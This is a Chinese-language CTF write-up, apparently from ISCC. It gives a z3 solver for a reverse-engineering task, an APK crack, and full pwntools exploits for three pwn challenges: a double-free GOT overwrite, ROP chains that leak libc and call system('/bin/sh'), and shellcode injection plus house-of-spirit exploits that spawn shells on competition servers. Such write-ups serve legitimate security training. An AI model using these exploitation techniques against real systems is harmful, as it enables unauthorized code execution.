例:a2[0] = (a1[0]*m[0]+...+a1[3]*m[3])%127

​ a2[1] = (a1[0]*m[4]+...+a1[3]*m[7])%127

​ a2[2] = (a1[0]*m[8]+...+a1[3]*m[11])%127

​ a2[3] = (a1[0]*m[12]+...+a1[3]*m[15])%127

其中a1是未知的,m是已知的,a2就是encode函數的v6,也已知。

從上面那個圖能夠看到,a1的每四個值能夠和m,a2組成一個四元一次方程,用z3能夠很快解出。

最終的腳本以下

#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"

from z3 import *

ALPHA_BASE = 'FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+'
s1 = 'lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq'
#print len(s1)
xiabiao = []
for i in s1:
    for j in range(len(ALPHA_BASE)):
        if i == ALPHA_BASE[j]:
            xiabiao.append(j)
print xiabiao

#v21 = v6[0] v20 = v6[1] v17 = v6[2]
#v6 = [37, 192, 59, 166, 31, 175, 76, 165, 203, 139, 164, 155, 59, 225, 40, 133, 38, 38, 22, 231, 17, 9, 7, 38]

def decode():

    v6 = []
    x = BitVec('x',16)
    y = BitVec('y',16)
    z = BitVec('z',16)
    
    for i in range(8):
    
        s = Solver()
        
        s.add( And( x > 0, x < 256, y > 0, y < 256, z > 0,  z < 256 ) )
        
        s.add( And( ((x>> 2) & 0x3F) == xiabiao[i*4] , ((((y & 0xFF) >> 4) | 16 * x) & 0x3F) == xiabiao[i*4+1] , ((((z & 0xFF) >> 6) | 4 * y) & 0x3F) == xiabiao[i*4+2] , (z & 0x3F) == xiabiao[i*4+3] ) )
        
        if s.check() == sat:
            print s.model()
            v6.append(s.model()[x].as_long())
            v6.append(s.model()[y].as_long())
            v6.append(s.model()[z].as_long())
            
        else:
            print 'fail'
            
    print(len(v6),v6)
    return v6
    
def fdecode():

    a = []
    x = BitVec('x',64)
    y = BitVec('y',64)
    z = BitVec('z',64)
    w = BitVec('w',64)
    
    for i in range(6):
        
        s = Solver()
        
        s.add( And( x > 0, x < 128, y > 0, y < 128, z > 0,  z < 128, w > 0, w < 128) )
        
        s.add( (x*m[0] + y*m[1] + z*m[2] + w*m[3])%256 == v6[i*4] )
        
        s.add( (x*m[4] + y*m[5] + z*m[6] + w*m[7])%256 == v6[i*4+1] )
        
        s.add( (x*m[8] + y*m[9] + z*m[10] + w*m[11])%256 == v6[i*4+2] )
        
        s.add( (x*m[12] + y*m[13] + z*m[14] + w*m[15])%256 == v6[i*4+3] )
        
        if s.check() == sat:
            print s.model()
            a.append(s.model()[x].as_long())
            a.append(s.model()[y].as_long())
            a.append(s.model()[z].as_long())
            a.append(s.model()[w].as_long())
            
        else:
            print 'fail'
        
    return a
    
v6 = decode()

m = [0x2,0x2,0x4,0xFFFFFFFB,0x1,0x1,0x3,0x0FFFFFFFD,0x0FFFFFFFF,0x0FFFFFFFE,0x0FFFFFFFD,0x4,0x0FFFFFFFF,0x0,0x0FFFFFFFE,0x2]
a = fdecode()   
#a = [102, 108, 97, 103, 123, 100, 79, 95, 121, 48, 85, 95, 75, 78, 111, 87, 95, 48, 73, 108, 86, 109, 63, 125]
#print a

flag = [ chr(i) for i in a ]
print ''.join(flag)
#flag{dO_y0U_KNoW_0IlVm?}


Pwn( Author: M4x )

Write some paper(200)

64位動態連接的程序,沒有開啓PIE和RELRO保護,意味着got表地址是固定的而且可寫,分析程序後,發現free時只對下標作了驗證,存在double free的漏洞,而且程序沒有咱們可控的輸出,所以也就不能leak libc了,看起來只有overwrite got這一條路可走了,同時也發現了存在gg函數能夠直接get shell,所以思路就是覆寫某個got爲gg的地址了,咱們先調試看一下got附近有沒有合適的size

double free的原理能夠看這個slide

注意只有運行過某函數時,該函數的got地址纔會爲真實地址
pwndbg> telescope 0x602000 20
00:0000│   0x602000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x601e28 (_DYNAMIC) ◂— 0x1
01:0008│   0x602008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7f5fa9e77170 ◂— 0x0
02:0010│   0x602010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7f5fa9c67ca0 (_dl_runtime_resolve_avx_slow) ◂— vorpd  ymm8, ymm1, ymm0
03:0018│   0x602018 (free@got.plt) —▸ 0x7f5fa992e4e0 (free) ◂— mov    rax, qword ptr [rip + 0x31da11]
04:0020│   0x602020 (puts@got.plt) —▸ 0x7f5fa991bf60 (puts) ◂— push   r13
05:0028│   0x602028 (fread@got.plt) —▸ 0x7f5fa991aa10 (fread) ◂— push   r13
06:0030│   0x602030 (__stack_chk_fail@got.plt) —▸ 0x400746 (__stack_chk_fail@plt+6) ◂— push   3
07:0038│   0x602038 (system@got.plt) —▸ 0x400756 (system@plt+6) ◂— push   4
08:0040│   0x602040 (printf@got.plt) —▸ 0x7f5fa9902160 (printf) ◂— sub    rsp, 0xd8
09:0048│   0x602048 (__libc_start_main@got.plt) —▸ 0x7f5fa98d31c0 (__libc_start_main) ◂— push   r14
0a:0050│   0x602050 (__gmon_start__@got.plt) —▸ 0x400786 (__gmon_start__@plt+6) ◂— push   7
0b:0058│   0x602058 (strtol@got.plt) —▸ 0x7f5fa98e9c40 (strtoq) ◂— mov    rax, qword ptr [rip + 0x362189]
0c:0060│   0x602060 (malloc@got.plt) —▸ 0x7f5fa992dee0 (malloc) ◂— push   rbp
0d:0068│   0x602068 (setvbuf@got.plt) —▸ 0x7f5fa991c720 (setvbuf) ◂— push   r13
0e:0070│   0x602070 (__isoc99_scanf@got.plt) —▸ 0x7f5fa9917e80 (__isoc99_scanf) ◂— push   rbx
0f:0078│   0x602078 (exit@got.plt) —▸ 0x4007d6 (exit@plt+6) ◂— push   0xc /* 'h\x0c' */
10:0080│   0x602080 (data_start) ◂— 0x0
... ↓
pwndbg>

看起來在執行過add_paper這個功能後,有0x602000+2, 0x602030+2, 0x602038+2,0x602050+2四處地址能夠提供合適的size,但選擇0x602000+2的話,同時會修改,_GLOBAL_OFFSET_TABLE_的值,形成不可預知的後果,0x602038+2,0x602050+2也會由於函數執行前後順序的關係形成程序crash,能夠選擇0x602030+2做爲chunk的首地址,此時的size(0x602030+2+8)爲0x????????00000040,能夠經過malloc的驗證,user data段從0x602030+2+0x10開始,能夠覆寫strtol@got爲gg的地址,進而get shell

pwndbg> x/8gx 0x602030+2
0x602032 <__stack_chk_fail@got.plt+2>:  0x0756000000000040  0xa160000000000040
0x602042 <printf@got.plt+2>:    0xb1c000007f2cd78b  0x078600007f2cd788
0x602052 <__gmon_start__@got.plt+2>:    0x1c40000000000040  0x5ee000007f2cd78a
0x602062 <malloc@got.plt+2>:    0x472000007f2cd78e  0xfe8000007f2cd78d
pwndbg> 

這須要咱們控制malloc的參數爲0x40-0x10

最終的exp以下:

Desktop cat exp.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
from time import sleep
import sys
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]

elf = ELF("./pwn3")
if sys.argv[1] == "l":
    context.log_level = "debug"
    # env = {'LD_PRELOAD': ''}
    # io = process("", env = env)
    io = process("./pwn3")
    libc = elf.libc


else:
    io = remote("47.104.16.75", 8999)
    #  libc = ELF("")


def DEBUG():
    raw_input("DEBUG: ")
    gdb.attach(io, "b *0x400B26")


def add(idx, length, content):
    io.sendlineafter("2 delete paper\n", "1")
    sleep(0.01)
    io.sendlineafter(":", str(idx))
    sleep(0.01)
    io.sendlineafter(":", str(length))
    sleep(0.01)
    io.sendlineafter(":", content)
    sleep(0.01)

def delete(idx):
    io.sendlineafter("2 delete paper\n", "2")
    sleep(0.01)
    io.sendlineafter(":", str(idx))
    sleep(0.01)


if __name__ == "__main__":
    fakeChunk = 0x602030+2
    add(0, 0x30, '0000')
    add(1, 0x30, '1111')

    delete(0) # 0
    delete(1) # 1 -> 0
    delete(0) # 0 -> 1 -> 0

    add(0, 0x30, p64(fakeChunk)) # 1 -> 0 -> fakeChunk
    add(1, 0x30, '1111') # 0 -> fakeChunk
    add(2, 0x30, '2222') # fakeChunk
    #  payload = 'aaaaaaaabbbbbbbbccccccccdddddddd'
    payload = p8(0) * (3 * 8 - 2) + p64(elf.sym['gg']) * 2
    #  DEBUG()
    add(3, 0x30, payload)

    
    io.sendlineafter("2 delete paper\n", "2") # trigger strtol
    #  delete(0)

    io.interactive()
    io.close()
    # flag{ISCC_SoEasy}

double free的模板題,並不難

Login(200)

64位動態連接的程序,沒有開啓canary和PIE,看起來能夠暴力棧溢出了,經過分析Menu函數中輸入choice時存在棧溢出,而且程序中有system函數,這樣就能夠控制Menu函數返回到system了,但要執行system("/bin/sh")的話還須要控制rdi指向/bin/sh,常規的思路是經過rop控制write函數將/bin/sh寫到bss或者data等固定地址,但這裏由於程序中有flu sh函數,所以必然存在sh字符串,直接控制便可

剛開始沒注意程序中存在system函數,用了leak兩個got中地址查找libc版本而後system(/bin/sh)的方法,也把腳本貼在下邊了
ROP的詳細介紹能夠看這個slide

Desktop cat iscc_pwn200_1.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
from time import sleep
import sys
context.arch = 'amd64'
context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]

elf = ELF("./pwn50")
if sys.argv[1] == "l":
    # env = {'LD_PRELOAD': ''}
    # io = process("", env = env)
    io = process("./pwn50")
    libc = elf.libc


else:
    io = remote("47.104.16.75", 9000)
    #  libc = ELF("")


def DEBUG():
    raw_input("DEBUG: ")
    gdb.attach(io)

if __name__ == '__main__':
    popRdi = 0x0000000000400b03
    io.sendlineafter(': ', 'guest')
    io.sendlineafter(': ', 'guest')
    # ROPgadget --binary ./pwn50 --string sh
    payload = flat([cyclic(0x50 + 0x8), popRdi, 0x0000000000400407, elf.plt['system']])
    io.sendlineafter(": ", payload)
    io.sendlineafter(": ", '3')

    io.interactive()
    io.close()

Desktop cat iscc_pwn200_2.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
from time import sleep
import sys
context.arch = 'amd64'
context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]

elf = ELF("./pwn50")
if sys.argv[1] == "l":
    # env = {'LD_PRELOAD': ''}
    # io = process("", env = env)
    io = process("./pwn50")
    libc = elf.libc


else:
    io = remote("47.104.16.75", 9000)
    libc = ELF("./libc6_2.19-0ubuntu6.14_amd64.so")
    oneGadgetOffset = 0x46428
    oneGadgetOffset = 0x4647c
    oneGadgetOffset = 0xe9415
    oneGadgetOffset = 0xea36d


def DEBUG():
    raw_input("DEBUG: ")
    gdb.attach(io)


popRdi = 0x0000000000400b03
if __name__ == "__main__":
    io.sendlineafter(': ', 'guest')
    io.sendlineafter(': ', 'guest')
    payload = flat([cyclic(0x50 + 8), popRdi, elf.got['puts'], elf.plt['puts'], popRdi, elf.got['read'], elf.plt['puts'], elf.sym['Menu']])
    io.sendlineafter(": ", payload)
    io.sendlineafter(": ", '3')

    putsAddr = u64(io.recvuntil('\x7f')[-6: ].ljust(8, '\x00'))
    success('putsAddr -> {:#x}'.format(putsAddr))
    readAddr = u64(io.recvuntil('\x7f')[-6: ].ljust(8, '\x00'))
    success('readAddr -> {:#x}'.format(readAddr))
    libcBase = readAddr - libc.sym['read']
    success('libcBase -> {:#x}'.format(libcBase))
    pause()
    oneGadget = libcBase + 0x46428

    payload = flat([cyclic(0x50 + 0x8), popRdi, libcBase + next(libc.search('/bin/sh')), libcBase + libc.sym['system'], 0xdeadbeef])
    #  DEBUG()
    io.sendlineafter(": ", payload)
    io.sendlineafter(": ", '3')

    io.interactive()
    io.close()
    #  flag{welcome_to_iscc}

64位rop的模板題,還給了system函數

Happy Hotel(300)

lctf2016的pwn200原題,甚至保留的當時出題失誤的非預期解
題目的漏洞很容易發現:

當輸入的字符串長度爲48時,根據read的特性不會給輸入的末尾加'\x00',此時就能夠經過下邊的printf來leak某些地址,調試能夠發現leak的是0x400A8E這個函數的rbp,這樣咱們就有了一個棧上的地址,根據棧上的偏移是固定的進而能夠獲得整個棧佈局的地址(如輸入的shellcode的地址和函數的返回地址)

輸入0x40位buf時,後8位會覆蓋dest,經過strcpy能夠形成一次任意地址寫

先說非預期解
程序沒有開任何保護,根據以上兩個漏洞,就能夠有以下的思路:
首先根據leak出的rbp地址定位到輸入的shellcode的地址,而後再經過任意地址寫改寫某個函數的got爲shellcode的地址便可,個人作法是覆寫printf@got爲shellcode的地址,exp以下

lctf2016_pwn200 [master●] cat solve.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
context(arch = 'amd64', os = 'linux', log_level = 'debug')

io = process("./pwn200")
io.sendafter("?\n", '0' * 48)
rbpAddr = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\x00'))
success("rbpAddr -> {:#x}".format(rbpAddr))

#  raw_input("DEBUG: ")
#  gdb.attach(io)
io.sendlineafter("?\n", "0")
payload = p64(rbpAddr - 0xb8) + asm(shellcraft.execve("/bin/sh"))
payload = payload.ljust(0x40 - 8, '\x90')
payload += p64(0x0000000000602030)
io.sendafter("~\n", payload)

io.interactive()
io.close()

lctf的出題人也認可這一題出題失誤形成了這樣一個非預期解的出現

預期解是使用house of spirit這種攻擊方法,house of spirit的基本思想是棧上溢出的長度不夠覆蓋到ret,但足夠覆蓋某些堆指針時,能夠改寫該堆指針並僞造chunk,經過free將該僞造的chunk添加進bin,進而控制咱們下一次malloc的地址,固然這須要經過一些檢查,具體細節能夠看這個slide
exp以下:

lctf2016_pwn200 [master●] cat hos.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
context.terminal = ["deepin-terminal", '-x', 'sh', '-c']

def DEBUG():
    raw_input("DEBUG: ")
    gdb.attach(io)

io = process("./pwn200")

# who are u?
sc = asm(shellcraft.execve("/bin/sh"))
io.sendafter("?\n", sc.ljust(48, '0'))
rbpAddr = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\x00'))
success("rbpAddr -> {:#x}".format(rbpAddr))
scAddr = rbpAddr - 0x50
fakeChunk = rbpAddr - 0x90

# give me your id
io.sendlineafter("?\n", str(0x20)) # id

# give me money
payload = p64(0) * 5 + p64(0x41)
payload = payload.ljust(0x40 - 8, '\x00') + p64(fakeChunk)
io.sendlineafter("~\n", payload)

# free
io.sendlineafter(": ", "2")

# malloc
io.sendlineafter(": ", "1")
io.sendlineafter("?\n", str(0x30))
payload = 'a' * 0x18 + p64(scAddr)
payload = payload.ljust(48, '\x00')
io.send(payload)

# ret
io.sendlineafter(": ", "3")
io.interactive()
io.close()


Mobile( Author: M4x )

小試牛刀(300)

彷佛由於apktool的強大,這道題變得很簡單
直接拿apktool反編譯apk,在assets目錄下發現了兩個jar包和一個python,但實際上bfsprotect.jar是dex文件

Desktop apktool d crack.apk
Picked up _JAVA_OPTIONS:   -Dawt.useSystemAAFontSettings=gasp
I: Using Apktool 2.2.3-dirty on crack.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/m4x/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
Desktop cd crack/assets 
assets ls
bfsprotect.jar  newDex.jar  reverse.py
assets file bfsprotect.jar 
bfsprotect.jar: Dalvik dex file version 035

使用dex2jar將dex轉爲jar

assets file bfsprotect.jar         
bfsprotect.jar: Dalvik dex file version 035
assets dex2jar ./bfsprotect.jar 
Picked up _JAVA_OPTIONS:   -Dawt.useSystemAAFontSettings=gasp
./bfsprotect-dex2jar.jar exists, use --force to overwrite
assets file bfsprotect-dex2jar.jar 
bfsprotect-dex2jar.jar: Zip archive data, at least v1.0 to extract

而後使用jd-gui打開jar包,就能在MainActivity找到onClick函數了

public void onClick(View paramAnonymousView)
      {
        paramAnonymousView = MainActivity.this.editText.getText().toString();
        if (!new ProtectClass().protectMethod(paramAnonymousView))
        {
          Toast.makeText(MainActivity.this, "Wrong Flag", 0).show();
          return;
        }
        Toast.makeText(MainActivity.this, "Correct Flag", 0).show();
      }

咱們在看一下ProtectClass中的protectMethod方法(由於多態,存在多個protectMethod方法,根據參數類型選擇正確的protectMethod)

public boolean protectMethod(String paramString)
  {
    int i = 0;
    for (;;)
    {
      if (i >= MainActivity.runTimes >> 1) {
        return paramString.equals("BFS-ISCC");
      }
      if ("123456".equals("123456")) {}
      i += 1;
    }
  }

發現有一個沒什麼卵用的循環,最後只須要讓輸入等於BFS-ISCC便可,試了一下,這個就是flag了


做者: LB919

出處:http://www.cnblogs.com/L1B0/

若有轉載,榮幸之至!請隨手標明出處;

相關文章
相關標籤/搜索